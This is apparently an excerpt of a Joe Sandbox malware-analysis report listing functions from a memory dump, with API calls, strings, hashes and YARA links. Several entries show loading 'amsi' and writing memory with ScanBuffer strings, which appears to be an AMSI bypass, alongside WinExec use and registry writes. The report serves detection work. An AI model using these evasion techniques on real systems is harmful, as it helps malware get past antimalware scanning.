Opcode ID: 93ec6913586ea9cd987206228e2362ffc2e4d4f9b112f8fa08b66d226fd45c6d
Instruction ID: 277b592f913506e3fe2b7f684f30b3cf71ec2f6a101f2ac9799412016700788a
Opcode Fuzzy Hash: 93ec6913586ea9cd987206228e2362ffc2e4d4f9b112f8fa08b66d226fd45c6d
Instruction Fuzzy Hash: 37433EB5A501688FCB2AEB64DD809DE73BAFF84300F1046E1E409E7214DA31EE85EF55

Function 02C31724 Relevance: 12.3, APIs: 7, Strings: 1, Instructions: 289
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000000), ref: 02C317D0
Sleep.KERNEL32(0000000A,00000000), ref: 02C317E6

Strings

0`, xrefs: 02C318AC, 02C318CE, 02C319D8, 02C319EE

Memory Dump Source

Source File: 00000006.00000002.2475914324.0000000002C31000.00000020.00001000.00020000.00000000.sdmp, Offset: 02C30000, based on PE: true

Associated: 00000006.00000002.2475881149.0000000002C30000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2476032008.0000000002C5D000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2476032008.0000000002C8E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2476359468.0000000002C91000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2476359468.0000000002D85000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2476359468.0000000002D88000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2c30000_x.jbxd

Similarity

API ID: Sleep
String ID: 0`
API String ID: 3472027048-3339448193
Opcode ID: e7fb214c0a20c58dbbeb4f9d4ffbc0180e38c7b1066b5bbb5ee9ef190d9d49f6
Instruction ID: 017eb86d364f8b19aba831356fe941b370faa2115aedf1b743a1050a886fb315
Opcode Fuzzy Hash: e7fb214c0a20c58dbbeb4f9d4ffbc0180e38c7b1066b5bbb5ee9ef190d9d49f6
Instruction Fuzzy Hash: 3AB12372A003518FEB16CF29D884355BBE1FB85325F1CCAAEE54E8B385D7B0A551CB90

Function 02C31A8C Relevance: 10.7, APIs: 6, Strings: 1, Instructions: 175
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000000,?,?,00000000,02C31FE4), ref: 02C31B17
Sleep.KERNEL32(0000000A,00000000,?,?,00000000,02C31FE4), ref: 02C31B31

Strings

0`, xrefs: 02C31BF4, 02C31C3E

Memory Dump Source

Source File: 00000006.00000002.2475914324.0000000002C31000.00000020.00001000.00020000.00000000.sdmp, Offset: 02C30000, based on PE: true

Associated: 00000006.00000002.2475881149.0000000002C30000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2476032008.0000000002C5D000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2476032008.0000000002C8E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2476359468.0000000002C91000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2476359468.0000000002D85000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2476359468.0000000002D88000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2c30000_x.jbxd

Similarity

API ID: Sleep
String ID: 0`
API String ID: 3472027048-3339448193
Opcode ID: 5cacde97b5b612117085a6bdadc1037e764bfde5dd435e2ea4e6f05cc9618f12
Instruction ID: e2a4c9c5a45dac62d67776d795f2b3c5bbe2b0898e4dfe99300841dfdd786f24
Opcode Fuzzy Hash: 5cacde97b5b612117085a6bdadc1037e764bfde5dd435e2ea4e6f05cc9618f12
Instruction Fuzzy Hash: 0E51D2716413408FE716DF68C984796BBD0AF85328F1C8AAEE54DCB282E7F0D545CBA1

Function 02C4870C Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 35
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryW.KERNEL32(amsi), ref: 02C48715

Part of subcall function 02C480C8: GetModuleHandleW.KERNEL32(Kernel32,00000000,00000000,02C48150,?,?,00000000,00000000,?,02C48069,00000000,KernelBASE,00000000,00000000,02C48090), ref: 02C48115
Part of subcall function 02C480C8: GetProcAddress.KERNEL32(00000000,Kernel32), ref: 02C4811B
Part of subcall function 02C480C8: GetProcAddress.KERNEL32(?,?), ref: 02C4812D

Part of subcall function 02C47D00: NtWriteVirtualMemory.NTDLL(?,?,?,?,?), ref: 02C47D74

FreeLibrary.KERNEL32(00000000,00000000,?,?,00000006,?,?,000003E7,00000040,?,00000000,DllGetClassObject), ref: 02C48774

Strings

amsi, xrefs: 02C48710
DllGetClassObject, xrefs: 02C4873A
W, xrefs: 02C48721

Memory Dump Source

Source File: 00000006.00000002.2475914324.0000000002C31000.00000020.00001000.00020000.00000000.sdmp, Offset: 02C30000, based on PE: true

Associated: 00000006.00000002.2475881149.0000000002C30000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2476032008.0000000002C5D000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2476032008.0000000002C8E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2476359468.0000000002C91000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2476359468.0000000002D85000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2476359468.0000000002D88000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2c30000_x.jbxd

Similarity

API ID: AddressLibraryProc$FreeHandleLoadMemoryModuleVirtualWrite
String ID: DllGetClassObject$W$amsi
API String ID: 941070894-2671292670
Opcode ID: 74644a190c8eeffba923f1e1a2df1bc9695e3d1b873cc69756181fc187edd55e
Instruction ID: 457e32191beb9f47b59906b85faebf8c7baf19007d83900c77aa80edd7df08a2
Opcode Fuzzy Hash: 74644a190c8eeffba923f1e1a2df1bc9695e3d1b873cc69756181fc187edd55e
Instruction Fuzzy Hash: 2AF0C25114C381B9E201E6748C45F4FBFCD4B92224F448F5CF1E89A2D2DA79D108ABB7

Function 02C4E2F6 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 112
networkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

InternetCheckConnectionA.WININET(00000000,00000001,00000000), ref: 02C4E436

Strings

OpenSession, xrefs: 02C4E3D8
Initialize, xrefs: 02C4E326
ScanBuffer, xrefs: 02C4E37F

Memory Dump Source

Source File: 00000006.00000002.2475914324.0000000002C31000.00000020.00001000.00020000.00000000.sdmp, Offset: 02C30000, based on PE: true

Associated: 00000006.00000002.2475881149.0000000002C30000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2476032008.0000000002C5D000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2476032008.0000000002C8E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2476359468.0000000002C91000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2476359468.0000000002D85000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2476359468.0000000002D88000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2c30000_x.jbxd

Similarity

API ID: CheckConnectionInternet
String ID: Initialize$OpenSession$ScanBuffer
API String ID: 3847983778-3852638603
Opcode ID: e59c8983fe1c2e85b027e4d65f4e02582e629593d9ebc0d17fe5b010f0a83246
Instruction ID: 4a5f9952606cfbe9499ebd39d8182214ff08623dca9652df93c4683cd646455a
Opcode Fuzzy Hash: e59c8983fe1c2e85b027e4d65f4e02582e629593d9ebc0d17fe5b010f0a83246
Instruction Fuzzy Hash: CA41ED75B502089BEB26EBE4DC41ADEB3FAFF8C720F614835E441A7250DA74AD059F60

Function 02C4840E Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 46processCOMMON

Download Yara Rule

APIs

Part of subcall function 02C48020: GetModuleHandleA.KERNEL32(KernelBASE,00000000,00000000,02C48090,?,?,00000000,?,02C47A06,ntdll,00000000,00000000,02C47A4B,?,?,00000000), ref: 02C4805E
Part of subcall function 02C48020: GetModuleHandleA.KERNELBASE(?), ref: 02C48072

Part of subcall function 02C480C8: GetModuleHandleW.KERNEL32(Kernel32,00000000,00000000,02C48150,?,?,00000000,00000000,?,02C48069,00000000,KernelBASE,00000000,00000000,02C48090), ref: 02C48115
Part of subcall function 02C480C8: GetProcAddress.KERNEL32(00000000,Kernel32), ref: 02C4811B
Part of subcall function 02C480C8: GetProcAddress.KERNEL32(?,?), ref: 02C4812D

WinExec.KERNEL32(?,?), ref: 02C48478

Strings

WinExec, xrefs: 02C48429
Kernel32, xrefs: 02C4845B

Memory Dump Source

Source File: 00000006.00000002.2475914324.0000000002C31000.00000020.00001000.00020000.00000000.sdmp, Offset: 02C30000, based on PE: true

Associated: 00000006.00000002.2475881149.0000000002C30000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2476032008.0000000002C5D000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2476032008.0000000002C8E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2476359468.0000000002C91000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2476359468.0000000002D85000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2476359468.0000000002D88000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2c30000_x.jbxd

Similarity

API ID: HandleModule$AddressProc$Exec
String ID: Kernel32$WinExec
API String ID: 2292790416-3609268280
Opcode ID: a741772963aee41e49a2a1f539ce8e2922d6e77e106eedff5643865012c18687
Instruction ID: 05dea1eb5984cce2f5032dcd92bf659c60a7dd222389037519777dc530a89563
Opcode Fuzzy Hash: a741772963aee41e49a2a1f539ce8e2922d6e77e106eedff5643865012c18687
Instruction Fuzzy Hash: B3018C75A40304BFEB25EFB4DC12B5B77EDEB48B10F918920B508D3A40DAB4AD00AB24

Function 02C48410 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 45processCOMMON

Download Yara Rule

APIs

Part of subcall function 02C48020: GetModuleHandleA.KERNEL32(KernelBASE,00000000,00000000,02C48090,?,?,00000000,?,02C47A06,ntdll,00000000,00000000,02C47A4B,?,?,00000000), ref: 02C4805E
Part of subcall function 02C48020: GetModuleHandleA.KERNELBASE(?), ref: 02C48072

Part of subcall function 02C480C8: GetModuleHandleW.KERNEL32(Kernel32,00000000,00000000,02C48150,?,?,00000000,00000000,?,02C48069,00000000,KernelBASE,00000000,00000000,02C48090), ref: 02C48115
Part of subcall function 02C480C8: GetProcAddress.KERNEL32(00000000,Kernel32), ref: 02C4811B
Part of subcall function 02C480C8: GetProcAddress.KERNEL32(?,?), ref: 02C4812D

WinExec.KERNEL32(?,?), ref: 02C48478

Strings

WinExec, xrefs: 02C48429
Kernel32, xrefs: 02C4845B

Memory Dump Source

Source File: 00000006.00000002.2475914324.0000000002C31000.00000020.00001000.00020000.00000000.sdmp, Offset: 02C30000, based on PE: true

Associated: 00000006.00000002.2475881149.0000000002C30000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2476032008.0000000002C5D000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2476032008.0000000002C8E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2476359468.0000000002C91000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2476359468.0000000002D85000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2476359468.0000000002D88000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2c30000_x.jbxd

Similarity

API ID: HandleModule$AddressProc$Exec
String ID: Kernel32$WinExec
API String ID: 2292790416-3609268280
Opcode ID: 8f93cace4291f86abe7c5b123408d080f9f3f7f4d0494010e9e538e9a10a54c9
Instruction ID: 15e5be89db59b10d03c1376575fe2479f1c1668d6262386a6a896fc8c9e32502
Opcode Fuzzy Hash: 8f93cace4291f86abe7c5b123408d080f9f3f7f4d0494010e9e538e9a10a54c9
Instruction Fuzzy Hash: 6AF08C75A40304BFEB25EFB4DC12B5B77ADEB48B10F918920B508D3A40DAB4A900AB24

Function 02C45BB4 Relevance: 4.6, APIs: 3, Instructions: 105fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(00000000,C0000000,00000000,00000000,00000002,00000080,00000000,00000000,02C45CFC,?,?,02C43888,00000001), ref: 02C45C10
GetLastError.KERNEL32(00000000,C0000000,00000000,00000000,00000002,00000080,00000000,00000000,02C45CFC,?,?,02C43888,00000001), ref: 02C45C3E

Part of subcall function 02C37D18: CreateFileA.KERNEL32(00000000,00000000,00000000,00000000,00000003,00000080,00000000,?,?,02C43888,02C45C7E,00000000,02C45CFC,?,?,02C43888), ref: 02C37D66

Part of subcall function 02C37F20: GetFullPathNameA.KERNEL32(00000000,00000104,?,?,?,02C43888,02C45C99,00000000,02C45CFC,?,?,02C43888,00000001), ref: 02C37F3F

GetLastError.KERNEL32(00000000,02C45CFC,?,?,02C43888,00000001), ref: 02C45CA3

Part of subcall function 02C3A700: FormatMessageA.KERNEL32(00003200,00000000,?,00000000,?,00000100,00000000,?,02C3C361,00000000,02C3C3BB), ref: 02C3A71F

Memory Dump Source

Source File: 00000006.00000002.2475914324.0000000002C31000.00000020.00001000.00020000.00000000.sdmp, Offset: 02C30000, based on PE: true

Associated: 00000006.00000002.2475881149.0000000002C30000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2476032008.0000000002C5D000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2476032008.0000000002C8E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2476359468.0000000002C91000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2476359468.0000000002D85000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2476359468.0000000002D88000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2c30000_x.jbxd

Similarity

API ID: CreateErrorFileLast$FormatFullMessageNamePath
String ID:
API String ID: 503785936-0
Opcode ID: 4b27867483863c2330f2790988e4724fe1693b96d4989c315da0de9ad8caf21c
Instruction ID: 12f69ae60be33bd6916f32d5c0a01406dfbd91539a0ef4d45055bee115005c1a
Opcode Fuzzy Hash: 4b27867483863c2330f2790988e4724fe1693b96d4989c315da0de9ad8caf21c
Instruction Fuzzy Hash: 2A318375A006489FDB01EFA4C880BEEB7F6AF48314F908965E904E7380DB755E05DFA1

Function 02C4E6BE Relevance: 4.6, APIs: 3, Instructions: 59registryCOMMON

Download Yara Rule

APIs

RegOpenKeyA.ADVAPI32(?,00000000,02D85914), ref: 02C4E704
RegSetValueExA.ADVAPI32(00000888,00000000,00000000,00000001,00000000,0000001C,00000000,02C4E76F), ref: 02C4E73C
RegCloseKey.ADVAPI32(00000888,00000888,00000000,00000000,00000001,00000000,0000001C,00000000,02C4E76F), ref: 02C4E747

Memory Dump Source

Source File: 00000006.00000002.2475914324.0000000002C31000.00000020.00001000.00020000.00000000.sdmp, Offset: 02C30000, based on PE: true

Associated: 00000006.00000002.2475881149.0000000002C30000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2476032008.0000000002C5D000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2476032008.0000000002C8E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2476359468.0000000002C91000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2476359468.0000000002D85000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2476359468.0000000002D88000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2c30000_x.jbxd

Similarity

API ID: CloseOpenValue
String ID:
API String ID: 779948276-0
Opcode ID: cc7da6f0a91d036c4e63578bd2eb868c9fe623d1d8929618d41013b529da07e4
Instruction ID: 1d54447ffb0e746ca168afd71625b57dade13e600e0cfffe651503f997691624
Opcode Fuzzy Hash: cc7da6f0a91d036c4e63578bd2eb868c9fe623d1d8929618d41013b529da07e4
Instruction Fuzzy Hash: 9C110A71A50204AFEB15FBA8DC81D6A7BADEB09720F914870F504D7350DA34EE40EA64

Function 02C4E6C0 Relevance: 4.6, APIs: 3, Instructions: 58registryCOMMON

Download Yara Rule

APIs

RegOpenKeyA.ADVAPI32(?,00000000,02D85914), ref: 02C4E704
RegSetValueExA.ADVAPI32(00000888,00000000,00000000,00000001,00000000,0000001C,00000000,02C4E76F), ref: 02C4E73C
RegCloseKey.ADVAPI32(00000888,00000888,00000000,00000000,00000001,00000000,0000001C,00000000,02C4E76F), ref: 02C4E747

Memory Dump Source

Source File: 00000006.00000002.2475914324.0000000002C31000.00000020.00001000.00020000.00000000.sdmp, Offset: 02C30000, based on PE: true

Associated: 00000006.00000002.2475881149.0000000002C30000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2476032008.0000000002C5D000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2476032008.0000000002C8E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2476359468.0000000002C91000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2476359468.0000000002D85000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2476359468.0000000002D88000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2c30000_x.jbxd

Similarity

API ID: CloseOpenValue
String ID:
API String ID: 779948276-0
Opcode ID: cab05c2177a38e14ccd67729476451cdc0147365d6785dacea8d67ebaa300b37
Instruction ID: 7025a6a12bfa29ebd2be4b5c181371efef218cb94f2522d02057f00056349780
Opcode Fuzzy Hash: cab05c2177a38e14ccd67729476451cdc0147365d6785dacea8d67ebaa300b37
Instruction Fuzzy Hash: 62110A71A50204AFEB15FBA8DC81D6A7BADEB09720F914870F504D7350DA34EE40EA64

Function 02C3E2EC Relevance: 4.5, APIs: 3, Instructions: 45COMMON

Download Yara Rule

APIs

VariantClear.OLEAUT32(?), ref: 02C3E2FB

Memory Dump Source

Source File: 00000006.00000002.2475914324.0000000002C31000.00000020.00001000.00020000.00000000.sdmp, Offset: 02C30000, based on PE: true

Associated: 00000006.00000002.2475881149.0000000002C30000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2476032008.0000000002C5D000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2476032008.0000000002C8E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2476359468.0000000002C91000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2476359468.0000000002D85000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2476359468.0000000002D88000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2c30000_x.jbxd

Similarity

API ID: ClearVariant
String ID:
API String ID: 1473721057-0
Opcode ID: d3c5128cd5883b3dbb19d42a97199c608e8a39298577f9c4db77a05d82ee4516
Instruction ID: 2ef3ee6ea144926d29f65891675ee42734383efea1cb6ac7fb6af08ce2bc2146
Opcode Fuzzy Hash: d3c5128cd5883b3dbb19d42a97199c608e8a39298577f9c4db77a05d82ee4516
Instruction Fuzzy Hash: E0F0C22470420086C7A37B3AD9C466D279AAF84720B401C26E48EAB245CB34ED45DB63

Function 02C34CFC Relevance: 4.5, APIs: 3, Instructions: 24memoryCOMMON

Download Yara Rule

APIs

SysFreeString.OLEAUT32(02C4E950), ref: 02C34C1A
SysAllocStringLen.OLEAUT32(?,?), ref: 02C34D07
SysFreeString.OLEAUT32(00000000), ref: 02C34D19

Memory Dump Source

Source File: 00000006.00000002.2475914324.0000000002C31000.00000020.00001000.00020000.00000000.sdmp, Offset: 02C30000, based on PE: true

Associated: 00000006.00000002.2475881149.0000000002C30000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2476032008.0000000002C5D000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2476032008.0000000002C8E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2476359468.0000000002C91000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2476359468.0000000002D85000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2476359468.0000000002D88000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2c30000_x.jbxd

Similarity

API ID: String$Free$Alloc
String ID:
API String ID: 986138563-0
Opcode ID: 5a5438c59bf50d5a9d2d1f0a3350fd82e771d5cb0ff699e6fe957ce0256f5644
Instruction ID: ecc620ef0adb98f2bc9497b6fcbcd21215a8d69b8cadd030c834632bbbe1d52c
Opcode Fuzzy Hash: 5a5438c59bf50d5a9d2d1f0a3350fd82e771d5cb0ff699e6fe957ce0256f5644
Instruction Fuzzy Hash: D0E012B81056015EEF2B2F21AC40B37372ABFC1745B184C99E804CA150DBB5C841BD34

Function 02C47064 Relevance: 3.8, APIs: 1, Strings: 1, Instructions: 256COMMON

Download Yara Rule

APIs

SysFreeString.OLEAUT32(?), ref: 02C47362

Strings

H, xrefs: 02C47119

Memory Dump Source

Source File: 00000006.00000002.2475914324.0000000002C31000.00000020.00001000.00020000.00000000.sdmp, Offset: 02C30000, based on PE: true

Associated: 00000006.00000002.2475881149.0000000002C30000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2476032008.0000000002C5D000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2476032008.0000000002C8E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2476359468.0000000002C91000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2476359468.0000000002D85000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2476359468.0000000002D88000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2c30000_x.jbxd

Similarity

API ID: FreeString
String ID: H
API String ID: 3341692771-2852464175
Opcode ID: 8c705ad773aa16023462de185ca63ac80d3bda265738827f957a648109530cab
Instruction ID: 18ce2942b171da082ed23940f4a30feac733fd6d5be5bbe5e32cbc3644887730
Opcode Fuzzy Hash: 8c705ad773aa16023462de185ca63ac80d3bda265738827f957a648109530cab
Instruction Fuzzy Hash: 4DB1F374A01608DFDB15CF99D880A9EFBF6FF89314F148569E809AB320DB31A949CF50

Function 02C48824 Relevance: 3.1, APIs: 2, Instructions: 65libraryCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(00000000,00000000,02C4890B), ref: 02C48858

Part of subcall function 02C48020: GetModuleHandleA.KERNEL32(KernelBASE,00000000,00000000,02C48090,?,?,00000000,?,02C47A06,ntdll,00000000,00000000,02C47A4B,?,?,00000000), ref: 02C4805E
Part of subcall function 02C48020: GetModuleHandleA.KERNELBASE(?), ref: 02C48072

Part of subcall function 02C480C8: GetModuleHandleW.KERNEL32(Kernel32,00000000,00000000,02C48150,?,?,00000000,00000000,?,02C48069,00000000,KernelBASE,00000000,00000000,02C48090), ref: 02C48115
Part of subcall function 02C480C8: GetProcAddress.KERNEL32(00000000,Kernel32), ref: 02C4811B
Part of subcall function 02C480C8: GetProcAddress.KERNEL32(?,?), ref: 02C4812D

Part of subcall function 02C47D00: NtWriteVirtualMemory.NTDLL(?,?,?,?,?), ref: 02C47D74

FreeLibrary.KERNEL32(74F60000,00000000,02C91388,Function_000065D8,00000004,02C91398,02C91388,05F5E0FF,00000040,02C9139C,74F60000,00000000,00000000,00000000,00000000,02C4890B), ref: 02C488EB

Memory Dump Source

Source File: 00000006.00000002.2475914324.0000000002C31000.00000020.00001000.00020000.00000000.sdmp, Offset: 02C30000, based on PE: true

Associated: 00000006.00000002.2475881149.0000000002C30000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2476032008.0000000002C5D000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2476032008.0000000002C8E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2476359468.0000000002C91000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2476359468.0000000002D85000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2476359468.0000000002D88000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2c30000_x.jbxd

Similarity

API ID: HandleModule$AddressLibraryProc$FreeLoadMemoryVirtualWrite
String ID:
API String ID: 3283153180-0
Opcode ID: 27b1e5532e8fa65fba55b8cf7fef06d16c545b38b8589158d09513af69d942c4
Instruction ID: 876d80917107416cf0aef5388c74ab9baf6649727deee3dcbb6a0b12ca8f1ffd
Opcode Fuzzy Hash: 27b1e5532e8fa65fba55b8cf7fef06d16c545b38b8589158d09513af69d942c4
Instruction Fuzzy Hash: 81114F70A40305ABEF16FBA4DC06A5F77BEEB45710F550AF4B10CA7A40DEB4D900AB54

Function 02C3E6E8 Relevance: 3.1, APIs: 2, Instructions: 63COMMON

Download Yara Rule

APIs

VariantCopy.OLEAUT32(00000000,00000000), ref: 02C3E709

Part of subcall function 02C3E2EC: VariantClear.OLEAUT32(?), ref: 02C3E2FB

Memory Dump Source

Source File: 00000006.00000002.2475914324.0000000002C31000.00000020.00001000.00020000.00000000.sdmp, Offset: 02C30000, based on PE: true

Associated: 00000006.00000002.2475881149.0000000002C30000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2476032008.0000000002C5D000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2476032008.0000000002C8E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2476359468.0000000002C91000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2476359468.0000000002D85000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2476359468.0000000002D88000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2c30000_x.jbxd

Similarity

API ID: Variant$ClearCopy
String ID:
API String ID: 274517740-0
Opcode ID: d0737b2daefda1b24bb8018fb002f96564f84ad4a1094679b78b772ea5deb5a5
Instruction ID: 1f454b962f851d6ddcae387f50b9eae25594b377686405703df08f55b3a796ec
Opcode Fuzzy Hash: d0737b2daefda1b24bb8018fb002f96564f84ad4a1094679b78b772ea5deb5a5
Instruction Fuzzy Hash: 0911A12171031087CB23AF29CDC566B77EAEFC67507059C26EA4A8B255DB31CC41DBA2

Function 02C315CC Relevance: 3.0, APIs: 1, Strings: 1, Instructions: 38memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,00140000,00001000,00000004,?,02C31A03), ref: 02C315E2

Strings

0`, xrefs: 02C3161D, 02C3163A

Memory Dump Source

Source File: 00000006.00000002.2475914324.0000000002C31000.00000020.00001000.00020000.00000000.sdmp, Offset: 02C30000, based on PE: true

Associated: 00000006.00000002.2475881149.0000000002C30000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2476032008.0000000002C5D000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2476032008.0000000002C8E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2476359468.0000000002C91000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2476359468.0000000002D85000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2476359468.0000000002D88000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2c30000_x.jbxd

Similarity

API ID: AllocVirtual
String ID: 0`
API String ID: 4275171209-3339448193
Opcode ID: 93f3f8f16bf150280ae0a5234ef29d3fda9653b6c3835542e184020d9ec05bb5
Instruction ID: ea47e52f824054a7dd528c5a83d986dc1129c3c944e20efb11ed16ae41ee52a4
Opcode Fuzzy Hash: 93f3f8f16bf150280ae0a5234ef29d3fda9653b6c3835542e184020d9ec05bb5
Instruction Fuzzy Hash: 2DF0E7F1B513005FEB06DF799D443056AD6E789348F14CA79E609DB298E7B194118B14

Function 02C3E384 Relevance: 1.6, APIs: 1, Instructions: 96COMMON

Download Yara Rule

APIs

VariantInit.OLEAUT32(?), ref: 02C3E3C4

Memory Dump Source

Source File: 00000006.00000002.2475914324.0000000002C31000.00000020.00001000.00020000.00000000.sdmp, Offset: 02C30000, based on PE: true

Associated: 00000006.00000002.2475881149.0000000002C30000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2476032008.0000000002C5D000.00000004.00001000.00020000.00000000.sdmpDownload File
